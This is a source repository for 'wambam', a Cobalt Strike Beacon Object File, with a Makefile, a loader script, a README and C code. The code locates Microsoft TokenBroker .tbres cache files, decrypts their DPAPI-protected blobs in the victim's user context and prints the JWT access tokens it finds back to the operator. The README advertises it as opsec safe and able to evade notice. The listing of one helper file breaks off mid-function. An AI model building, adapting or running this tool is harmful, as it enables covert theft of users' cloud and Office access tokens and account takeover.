├── Makefile ├── wambam.cna ├── README.md ├── headers ├── beacon.h ├── bofdefs.h └── base.c ├── entry.c └── LICENSE /Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := wambam 2 | LIBINCLUDE := -lole32 3 | COMINCLUDE := -I headers 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC := x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | 12 | test: 13 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 14 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 15 | 16 | scanbuild: 17 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 18 | 19 | check: 20 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 21 | 22 | clean: 23 | rm -f $(BOFNAME).x* 24 | -------------------------------------------------------------------------------- /wambam.cna: -------------------------------------------------------------------------------- 1 | alias wambam { 2 | local('$barch $handle $data $args'); 3 | 4 | if( size(@_) < 1) 5 | { 6 | berror($1, beacon_command_detail("wambam")); 7 | return; 8 | } 9 | $barch = barch($1); 10 | $handle = openf(script_resource("wambam. $+ $barch $+ .o")); 11 | $data = readb($handle, -1); 12 | closef($handle); 13 | 14 | if(strlen($data) == 0) 15 | { 16 | berror($1, "could not read bof file"); 17 | } 18 | 19 | btask($1, "Tasked beacon to enumerate TBRES file"); 20 | beacon_inline_execute($1, $data, "go", $args); 21 | } 22 | 23 | beacon_command_register( 24 | "wambam", 25 | "Enumerate TBRES file to retrieve access tokens", 26 | "Usage: wambam" 27 | ); 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # wambam-bof 2 | 3 | A Cobalt Strike BOF that extracts access tokens from `.tbres` files. This BOF locates DPAPI-encrypted blobs stored in `.tbres` files, decrypts them in the current user context using `CryptUnprotectData`, and extracts the access token. This BOF is opsec safe and could be used as an alternate to office_tokens BOF. Since it avoids touching other process's memory, it could fly under the radar to retrieve access tokens. This is not a new technique [@xpn](https://x.com/_xpn_) has already done research on `.tbres` files. 4 | 5 | ### Usage 6 | Compile the bof with `make` and load the wambam.cna file into Cobalt Strike. 7 | 1. Run the `wambam` command on beacon, it will automatically find the .tbres file and decrypt the DPAPI encrypted blob 8 | 9 | --- 10 | 11 | **Note:** Decryption works only under the user context that originally encrypted the blob. 12 | 13 | ## References 14 | This tool is a BOF version of the [@xpn](https://x.com/_xpn_) research of wambam. 15 | - https://blog.xpnsec.com/wam-bam/ 16 | - https://github.com/xpn/WAMBam -------------------------------------------------------------------------------- /headers/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | #pragma once 12 | 13 | #ifdef BOF 14 | typedef struct { 15 | char * original; /* the original buffer [so we can free it] */ 16 | char * buffer; /* current pointer into our buffer */ 17 | int length; /* remaining length of data */ 18 | int size; /* total size of this buffer */ 19 | } datap; 20 | 21 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 22 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 23 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 24 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 25 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 26 | 27 | /* format API */ 28 | typedef struct { 29 | char * original; /* the original buffer [so we can free it] */ 30 | char * buffer; /* current pointer into our buffer */ 31 | int length; /* remaining length of data */ 32 | int size; /* total size of this buffer */ 33 | } formatp; 34 | 35 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 36 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 38 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 39 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 40 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 41 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 42 | 43 | /* Output Functions */ 44 | #define CALLBACK_OUTPUT 0x0 45 | #define CALLBACK_OUTPUT_OEM 0x1e 46 | #define CALLBACK_ERROR 0x0d 47 | #define CALLBACK_OUTPUT_UTF8 0x20 48 | 49 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 50 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 51 | 52 | /* Token Functions */ 53 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 54 | DECLSPEC_IMPORT void BeaconRevertToken(); 55 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 56 | 57 | /* Spawn+Inject Functions */ 58 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 59 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 61 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 62 | 63 | /* Utility Functions */ 64 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 65 | #endif -------------------------------------------------------------------------------- /headers/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen) 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | // #ifdef BOF 10 | 11 | WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); 12 | #define calloc MSVCRT$calloc 13 | 14 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 15 | #define HeapAlloc KERNEL32$HeapAlloc 16 | 17 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 18 | #define GetProcessHeap KERNEL32$GetProcessHeap 19 | 20 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); 21 | #define HeapFree KERNEL32$HeapFree 22 | 23 | WINBASEAPI int WINAPI SHELL32$SHGetFolderPathA (HWND, int, HANDLE, DWORD, LPSTR); 24 | # define SHGetFolderPathA SHELL32$SHGetFolderPathA 25 | 26 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,char * __restrict__ _Source); 27 | # define strcat MSVCRT$strcat 28 | 29 | WINBASEAPI size_t WINAPI MSVCRT$strlen(char* str); 30 | # define strlen MSVCRT$strlen 31 | 32 | WINBASEAPI char* WINAPI MSVCRT$strcpy(char* dest, const char* src); 33 | // WINBASEAPI char* WINAPI MSVCRT$strcpy(char* dest, const char* src); 34 | # define strcpy MSVCRT$strcpy 35 | 36 | WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileA(LPSTR, LPWIN32_FIND_DATAA); 37 | # define FindFirstFileA KERNEL32$FindFirstFileA 38 | 39 | WINBASEAPI BOOL WINAPI KERNEL32$FindNextFileA(HANDLE, LPWIN32_FIND_DATAA); 40 | # define FindNextFileA KERNEL32$FindNextFileA 41 | 42 | WINBASEAPI BOOL WINAPI KERNEL32$FindClose(HANDLE); 43 | # define FindClose KERNEL32$FindClose 44 | 45 | WINBASEAPI FILE* WINAPI MSVCRT$fopen(const char* filename, const char* mode); 46 | # define fopen MSVCRT$fopen 47 | 48 | WINBASEAPI size_t __cdecl MSVCRT$fread(void * _DstBuf, size_t _ElementSize, size_t _Count, FILE * _File); 49 | # define fread MSVCRT$fread 50 | 51 | WINBASEAPI int __cdecl MSVCRT$fclose(FILE *_File); 52 | # define fclose MSVCRT$fclose 53 | 54 | WINBASEAPI int __cdecl MSVCRT$fseek(FILE *_File, long _Offset, int _Origin); 55 | # define fseek MSVCRT$fseek 56 | 57 | WINBASEAPI long __cdecl MSVCRT$ftell(FILE *_File); 58 | # define ftell MSVCRT$ftell 59 | 60 | WINBASEAPI void *__cdecl MSVCRT$malloc(size_t _Size); 61 | # define malloc MSVCRT$malloc 62 | 63 | WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); 64 | # define free MSVCRT$free 65 | 66 | WINBASEAPI int WINAPI MSVCRT$strcmp(const char* str1, const char* str2); 67 | # define strcmp MSVCRT$strcmp 68 | 69 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void); 70 | # define GetLastError KERNEL32$GetLastError 71 | 72 | WINBASEAPI int __cdecl MSVCRT$snprintf(char* buffer, size_t count, const char* format, ...); 73 | # define snprintf MSVCRT$snprintf 74 | 75 | WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg); 76 | # define vsnprintf MSVCRT$vsnprintf 77 | 78 | WINBASEAPI int __cdecl MSVCRT$_snprintf(char* buffer, size_t count, const char* format, ...); 79 | # define _snprintf MSVCRT$_snprintf 80 | 81 | WINBASEAPI int __cdecl MSVCRT$sprintf(char* buffer, const char* format, ...); 82 | # define sprintf MSVCRT$sprintf 83 | 84 | WINBASEAPI char* WINAPI MSVCRT$strstr(const char* haystack, const char* needle); 85 | # define strstr MSVCRT$strstr 86 | 87 | DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle); 88 | # define strchr MSVCRT$strchr 89 | 90 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 91 | # define memset MSVCRT$memset 92 | 93 | WINBASEAPI char* WINAPI MSVCRT$strncpy(char* dest, const char* src, size_t count); 94 | # define strncpy MSVCRT$strncpy 95 | 96 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 97 | # define CreateFileA KERNEL32$CreateFileA 98 | 99 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 100 | # define CloseHandle KERNEL32$CloseHandle 101 | 102 | WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 103 | # define ReadFile KERNEL32$ReadFile 104 | 105 | WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize(HANDLE, LPDWORD); 106 | # define GetFileSize KERNEL32$GetFileSize 107 | 108 | DECLSPEC_IMPORT BOOL WINAPI Crypt32$CryptUnprotectData(DATA_BLOB* pDataIn, LPWSTR* ppszDataDescr, DATA_BLOB* pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct, DWORD dwFlags, DATA_BLOB* pDataOut); 109 | # define CryptUnprotectData Crypt32$CryptUnprotectData 110 | 111 | DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL); 112 | # define LocalFree KERNEL32$LocalFree 113 | 114 | WINBASEAPI int WINAPI Kernel32$WideCharToMultiByte(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL); 115 | # define WideCharToMultiByte Kernel32$WideCharToMultiByte 116 | 117 | // #else 118 | 119 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 120 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 121 | // int WideCharToMultiByte( 122 | // [in] UINT CodePage, 123 | // [in] DWORD dwFlags, 124 | // [in] _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, 125 | // [in] int cchWideChar, 126 | // [out, optional] LPSTR lpMultiByteStr, 127 | // [in] int cbMultiByte, 128 | // [in, optional] LPCCH lpDefaultChar, 129 | // [out, optional] LPBOOL lpUsedDefaultChar 130 | // ); 131 | 132 | // WINBASEAPI HANDLE KERNEL32$GetProcessHeap(VOID); 133 | // WINBASEAPI LPVOID KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 134 | // WINBASEAPI BOOL KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 135 | WINBASEAPI BOOL CRYPT32$CryptStringToBinaryA(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*); -------------------------------------------------------------------------------- /entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "base.c" 3 | #include "bofdefs.h" 4 | 5 | char* extractResponseBytesValue(const char* json) { 6 | char* resp_bytes_pos = MSVCRT$strstr(json, "\"ResponseBytes\""); 7 | if (!resp_bytes_pos) return NULL; 8 | 9 | char* value_pos = MSVCRT$strstr(resp_bytes_pos, "\"Value\":"); 10 | if (!value_pos) return NULL; 11 | 12 | value_pos += 8; 13 | while (*value_pos == ' ' || *value_pos == '\t' || *value_pos == '\n' || *value_pos == '\r') { 14 | value_pos++; 15 | } 16 | 17 | if (*value_pos != '"') return NULL; 18 | value_pos++; 19 | 20 | char* end_quote = MSVCRT$strchr(value_pos, '"'); 21 | if (!end_quote) return NULL; 22 | 23 | int len = end_quote - value_pos; 24 | if (len <= 0) return NULL; 25 | 26 | char* result = (char*)MSVCRT$malloc(len + 1); 27 | if (!result) return NULL; 28 | 29 | memcpy(result, value_pos, len); 30 | result[len] = '\0'; 31 | 32 | return result; 33 | } 34 | 35 | char* extractKeyValue(const char* json, const char* key) { 36 | char search_pattern[256]; 37 | MSVCRT$_snprintf(search_pattern, sizeof(search_pattern), "\"%s\":", key); 38 | 39 | char* key_pos = MSVCRT$strstr(json, search_pattern); 40 | if (!key_pos) return NULL; 41 | 42 | key_pos += MSVCRT$strlen(search_pattern); 43 | while (*key_pos == ' ' || *key_pos == '\t' || *key_pos == '\n' || *key_pos == '\r') { 44 | key_pos++; 45 | } 46 | 47 | if (*key_pos != '"') return NULL; 48 | key_pos++; 49 | 50 | char* end_quote = MSVCRT$strchr(key_pos, '"'); 51 | if (!end_quote) return NULL; 52 | 53 | int len = end_quote - key_pos; 54 | if (len <= 0) return NULL; 55 | 56 | char* result = (char*)MSVCRT$malloc(len + 1); 57 | if (!result) return NULL; 58 | 59 | memcpy(result, key_pos, len); 60 | result[len] = '\0'; 61 | 62 | return result; 63 | } 64 | 65 | int base64_decode_len(char* input) { 66 | int len = MSVCRT$strlen(input); 67 | int padding = 0; 68 | if (len > 0 && input[len-1] == '=') padding++; 69 | if (len > 1 && input[len-2] == '=') padding++; 70 | return (len * 3) / 4 - padding; 71 | } 72 | 73 | int base64_decode(char* input, unsigned char* output) { 74 | const char* chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 75 | int len = MSVCRT$strlen(input); 76 | int out_len = 0; 77 | 78 | for (int i = 0; i < len; i += 4) { 79 | int a = -1, b = -1, c = -1, d = -1; 80 | 81 | for (int j = 0; j < 64; j++) { 82 | if (input[i] == chars[j]) a = j; 83 | if (i+1 < len && input[i+1] == chars[j]) b = j; 84 | if (i+2 < len && input[i+2] == chars[j]) c = j; 85 | if (i+3 < len && input[i+3] == chars[j]) d = j; 86 | } 87 | 88 | if (a == -1 || b == -1) break; 89 | 90 | output[out_len++] = (a << 2) | (b >> 4); 91 | if (c != -1 && input[i+2] != '=') { 92 | output[out_len++] = (b << 4) | (c >> 2); 93 | } 94 | if (d != -1 && input[i+3] != '=') { 95 | output[out_len++] = (c << 6) | d; 96 | } 97 | } 98 | 99 | return out_len; 100 | } 101 | 102 | void find_jwt_token(BYTE *data, DWORD len) { 103 | if (!data || len == 0) { 104 | BeaconPrintf(CALLBACK_ERROR, "[-] No data to search"); 105 | return; 106 | } 107 | 108 | for (DWORD i = 0; i <= len - 4; i++) { 109 | if (data[i] == 'e' && data[i+1] == 'y' && data[i+2] == 'J' && data[i+3] == '0') { 110 | 111 | DWORD token_start = i; 112 | DWORD token_end = i; 113 | DWORD dot_count = 0; 114 | 115 | while (token_end < len) { 116 | BYTE b = data[token_end]; 117 | 118 | if ((b >= 'A' && b <= 'Z') || (b >= 'a' && b <= 'z') || 119 | (b >= '0' && b <= '9') || b == '+' || b == '/' || 120 | b == '=' || b == '-' || b == '_') { 121 | token_end++; 122 | } else if (b == '.') { 123 | dot_count++; 124 | token_end++; 125 | } else { 126 | break; 127 | } 128 | } 129 | 130 | DWORD final_length = token_end - token_start; 131 | 132 | if (dot_count >= 2 && final_length > 100) { 133 | char* complete_token = (char*)MSVCRT$malloc(final_length + 1); 134 | if (complete_token) { 135 | memcpy(complete_token, &data[token_start], final_length); 136 | complete_token[final_length] = '\0'; 137 | 138 | internal_printf("\n"); 139 | internal_printf("[!] ===== Found ACCESS TOKEN =====\n"); 140 | internal_printf("%s\n", complete_token); 141 | internal_printf("[!] ===== END TOKEN ====="); 142 | internal_printf("\n"); 143 | 144 | MSVCRT$free(complete_token); 145 | return; 146 | } 147 | } else { 148 | BeaconPrintf(CALLBACK_ERROR, "[-] Invalid JWT structure (dots:%lu, len:%lu)", dot_count, final_length); 149 | } 150 | 151 | i = token_end > token_start ? token_end - 1 : i; 152 | } 153 | } 154 | } 155 | 156 | char* dpapi_decrypt_blob(char* base64_encrypted_data) { 157 | if (!base64_encrypted_data || MSVCRT$strlen(base64_encrypted_data) == 0) { 158 | return NULL; 159 | } 160 | 161 | int encrypted_len = base64_decode_len(base64_encrypted_data); 162 | if (encrypted_len <= 0) { 163 | return NULL; 164 | } 165 | 166 | unsigned char* encrypted_data = (unsigned char*)MSVCRT$malloc(encrypted_len); 167 | if (!encrypted_data) { 168 | return NULL; 169 | } 170 | 171 | int actual_len = base64_decode(base64_encrypted_data, encrypted_data); 172 | if (actual_len <= 0) { 173 | MSVCRT$free(encrypted_data); 174 | return NULL; 175 | } 176 | 177 | DATA_BLOB encrypted_blob; 178 | DATA_BLOB decrypted_blob; 179 | 180 | encrypted_blob.pbData = encrypted_data; 181 | encrypted_blob.cbData = actual_len; 182 | 183 | MSVCRT$memset(&decrypted_blob, 0, sizeof(decrypted_blob)); 184 | 185 | BOOL result =Crypt32$CryptUnprotectData( 186 | &encrypted_blob, 187 | NULL, 188 | NULL, 189 | NULL, 190 | NULL, 191 | 0, 192 | &decrypted_blob 193 | ); 194 | 195 | MSVCRT$free(encrypted_data); 196 | 197 | find_jwt_token(decrypted_blob.pbData, decrypted_blob.cbData); 198 | 199 | if (!result) { 200 | DWORD error = KERNEL32$GetLastError(); 201 | BeaconPrintf(CALLBACK_ERROR, "[-] DPAPI decryption failed. Error: %lu", error); 202 | return NULL; 203 | } 204 | 205 | if (decrypted_blob.cbData == 0 || !decrypted_blob.pbData) { 206 | BeaconPrintf(CALLBACK_ERROR, "[-] Decryption returned empty data"); 207 | return NULL; 208 | } 209 | 210 | char* result_buffer = (char*)MSVCRT$malloc(decrypted_blob.cbData + 1); 211 | if (!result_buffer) { 212 | BeaconPrintf(CALLBACK_ERROR, "[-] Memory allocation failed for result"); 213 | KERNEL32$LocalFree(decrypted_blob.pbData); 214 | return NULL; 215 | } 216 | 217 | memcpy(result_buffer, decrypted_blob.pbData, decrypted_blob.cbData); 218 | result_buffer[decrypted_blob.cbData] = '\0'; 219 | 220 | KERNEL32$LocalFree(decrypted_blob.pbData); 221 | 222 | return result_buffer; 223 | } 224 | 225 | char* readFileUTF16(char* path) 226 | { 227 | HANDLE hFile = KERNEL32$CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 228 | if (hFile == INVALID_HANDLE_VALUE) { 229 | BeaconPrintf(CALLBACK_ERROR, "[-] Error opening file: %s", path); 230 | return (char*)EXIT_FAILURE; 231 | } 232 | 233 | DWORD file_size = KERNEL32$GetFileSize(hFile, NULL); 234 | if (file_size == INVALID_FILE_SIZE || file_size == 0) { 235 | BeaconPrintf(CALLBACK_ERROR, "[-] Invalid file size"); 236 | KERNEL32$CloseHandle(hFile); 237 | return (char*)EXIT_FAILURE; 238 | } 239 | 240 | BYTE* raw_buffer = (BYTE*)MSVCRT$malloc(file_size); 241 | if (!raw_buffer) { 242 | BeaconPrintf(CALLBACK_ERROR, "[-] Memory allocation failed"); 243 | KERNEL32$CloseHandle(hFile); 244 | return (char*)EXIT_FAILURE; 245 | } 246 | 247 | DWORD bytes_read = 0; 248 | if (!KERNEL32$ReadFile(hFile, raw_buffer, file_size, &bytes_read, NULL)) { 249 | BeaconPrintf(CALLBACK_ERROR, "[-] Error reading file"); 250 | MSVCRT$free(raw_buffer); 251 | KERNEL32$CloseHandle(hFile); 252 | return (char*)EXIT_FAILURE; 253 | } 254 | KERNEL32$CloseHandle(hFile); 255 | 256 | BOOL is_utf16 = TRUE; 257 | for (DWORD i = 1; i < bytes_read && i < 20; i += 2) { 258 | if (raw_buffer[i] != 0x00) { 259 | is_utf16 = FALSE; 260 | break; 261 | } 262 | } 263 | 264 | if (is_utf16) { 265 | DWORD char_count = file_size / 2; 266 | char* ascii_buffer = (char*)MSVCRT$malloc(char_count + 1); 267 | if (!ascii_buffer) { 268 | MSVCRT$free(raw_buffer); 269 | return (char*)EXIT_FAILURE; 270 | } 271 | 272 | for (DWORD i = 0; i < char_count; i++) { 273 | ascii_buffer[i] = (char)raw_buffer[i * 2]; 274 | } 275 | ascii_buffer[char_count] = '\0'; 276 | 277 | MSVCRT$free(raw_buffer); 278 | return ascii_buffer; 279 | } else { 280 | raw_buffer[bytes_read] = '\0'; 281 | return (char*)raw_buffer; 282 | } 283 | } 284 | 285 | int listFiles(char* path) 286 | { 287 | WIN32_FIND_DATA data; 288 | DWORD dwError; 289 | 290 | char szDir[MAX_PATH]; 291 | MSVCRT$strcpy(szDir, path); 292 | MSVCRT$strcat(szDir, "\\*"); 293 | 294 | HANDLE hFind = KERNEL32$FindFirstFileA(szDir, &data); 295 | 296 | if (hFind != INVALID_HANDLE_VALUE){ 297 | do { 298 | if (strcmp(data.cFileName, ".") != 0 && MSVCRT$strcmp(data.cFileName, "..") != 0) 299 | { 300 | internal_printf("\n[+] Found TBRES File: %s%s\n", path, data.cFileName); 301 | char subDir[MAX_PATH]; 302 | MSVCRT$strcpy(subDir, path); 303 | MSVCRT$strcat(subDir, data.cFileName); 304 | char *buffer = readFileUTF16(subDir); 305 | if (buffer == (char*)EXIT_FAILURE) { 306 | BeaconPrintf(CALLBACK_ERROR, "Failed to read file!\n"); 307 | return EXIT_FAILURE; 308 | } 309 | char *result = extractResponseBytesValue(buffer); 310 | char *decrypted = dpapi_decrypt_blob(result); 311 | } 312 | } while (KERNEL32$FindNextFileA(hFind, &data)); 313 | 314 | dwError = KERNEL32$GetLastError(); 315 | if (dwError != ERROR_NO_MORE_FILES) { 316 | BeaconPrintf(CALLBACK_ERROR, "Error searching for next file: %d\n", dwError); 317 | } 318 | 319 | KERNEL32$FindClose(hFind); 320 | } 321 | return EXIT_SUCCESS; 322 | } 323 | 324 | void WAMBAM() 325 | { 326 | char path[MAX_PATH]; 327 | 328 | if (SUCCEEDED(SHELL32$SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, path))) 329 | { 330 | MSVCRT$strcat(path, "\\Microsoft\\TokenBroker\\Cache\\"); 331 | listFiles(path); 332 | } 333 | } 334 | 335 | #ifdef BOF 336 | 337 | void go(char *args, int argLen) 338 | { 339 | datap parser; 340 | 341 | BeaconDataParse(&parser, args, argLen); 342 | char* first_arg = BeaconDataExtract(&parser, NULL); 343 | char* second_arg = BeaconDataExtract(&parser, NULL); 344 | char* third_arg = BeaconDataExtract(&parser, NULL); 345 | 346 | if(!bofstart()) 347 | { 348 | return; 349 | } 350 | 351 | WAMBAM(); 352 | printoutput(TRUE); 353 | }; 354 | 355 | #else 356 | 357 | int main() { 358 | BeaconPrintf(CALLBACK_OUTPUT, "====================== Locating TBRES FILE ======================\n\n"); 359 | WAMBAM(); 360 | } 361 | 362 | #endif -------------------------------------------------------------------------------- /headers/base.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "beacon.h" 3 | #include "time.h" 4 | #include 5 | #include 6 | #ifndef bufsize 7 | #define bufsize 8192 8 | #endif 9 | 10 | 11 | char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly 12 | WORD currentoutsize __attribute__((section (".data"))) = 0; 13 | HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error 14 | 15 | #ifdef BOF 16 | int bofstart(); 17 | void internal_printf(const char* format, ...); 18 | void printoutput(BOOL done); 19 | #endif 20 | char * Utf16ToUtf8(const wchar_t* input); 21 | #ifdef BOF 22 | int bofstart() 23 | { 24 | output = (char*)MSVCRT$calloc(bufsize, 1); 25 | currentoutsize = 0; 26 | return 1; 27 | } 28 | 29 | void internal_printf(const char* format, ...){ 30 | int buffersize = 0; 31 | int transfersize = 0; 32 | char * curloc = NULL; 33 | char* intBuffer = NULL; 34 | va_list args; 35 | va_start(args, format); 36 | buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null 37 | va_end(args); 38 | 39 | // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) 40 | if (buffersize == -1) 41 | return; 42 | 43 | char* transferBuffer = (char*)intAlloc(bufsize); 44 | intBuffer = (char*)intAlloc(buffersize); 45 | /*Print string to memory buffer*/ 46 | va_start(args, format); 47 | MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string 48 | va_end(args); 49 | if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end 50 | { 51 | //BeaconFormatPrintf(&output, intBuffer); 52 | memcpy(output+currentoutsize, intBuffer, buffersize); 53 | currentoutsize += buffersize; 54 | } 55 | else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print 56 | { 57 | curloc = intBuffer; 58 | while(buffersize > 0) 59 | { 60 | transfersize = bufsize - currentoutsize; // what is the max we could transfer this request 61 | if(buffersize < transfersize) //if I have less then that, lets just transfer what's left 62 | { 63 | transfersize = buffersize; 64 | } 65 | memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer 66 | currentoutsize += transfersize; 67 | //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer 68 | if(currentoutsize == bufsize) 69 | { 70 | printoutput(FALSE); // sets currentoutsize to 0 and prints 71 | } 72 | memset(transferBuffer, 0, transfersize); // reset our transfer buffer 73 | curloc += transfersize; // increment by how much data we just wrote 74 | buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall 75 | } 76 | } 77 | intFree(intBuffer); 78 | intFree(transferBuffer); 79 | } 80 | 81 | void printoutput(BOOL done) 82 | { 83 | 84 | char * msg = NULL; 85 | BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize); 86 | currentoutsize = 0; 87 | MSVCRT$memset(output, 0, bufsize); 88 | if(done) {free(output); output=NULL;} 89 | } 90 | #else 91 | #define internal_printf printf 92 | #define printoutput 93 | #define bofstart 94 | #endif 95 | 96 | // Changes to address issue #65. 97 | // We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable. 98 | // To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one 99 | // Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer. 100 | // Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself 101 | // If you must then free it after bofstop is called 102 | #ifdef DYNAMIC_LIB_COUNT 103 | 104 | 105 | typedef struct loadedLibrary { 106 | HMODULE hMod; // mod handle 107 | const char * name; // name normalized to uppercase 108 | }loadedLibrary, *ploadedLibrary; 109 | loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0}; 110 | DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0; 111 | 112 | BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget) 113 | { 114 | BOOL bmatch = FALSE; 115 | DWORD pos = 0; 116 | while(szLibrary[pos] && sztarget[pos]) 117 | { 118 | if(szLibrary[pos] != sztarget[pos]) 119 | { 120 | goto end; 121 | } 122 | pos++; 123 | } 124 | if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match 125 | {goto end;} 126 | bmatch = TRUE; 127 | 128 | end: 129 | return bmatch; 130 | } 131 | 132 | //GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions 133 | // 134 | // DynamicLoad 135 | // Retrieves a function pointer given the BOF library-function name 136 | // szLibrary - The library containing the function you want to load 137 | // szFunction - The Function that you want to load 138 | // Returns a FARPROC function pointer if successful, or NULL if lookup fails 139 | // 140 | FARPROC DynamicLoad(const char * szLibrary, const char * szFunction) 141 | { 142 | FARPROC fp = NULL; 143 | HMODULE hMod = NULL; 144 | DWORD i = 0; 145 | DWORD liblen = 0; 146 | for(i = 0; i < loadedLibrariesCount; i++) 147 | { 148 | if(intstrcmp(szLibrary, loadedLibraries[i].name)) 149 | { 150 | hMod = loadedLibraries[i].hMod; 151 | } 152 | } 153 | if(!hMod) 154 | { 155 | hMod = LoadLibraryA(szLibrary); 156 | if(!hMod){ 157 | 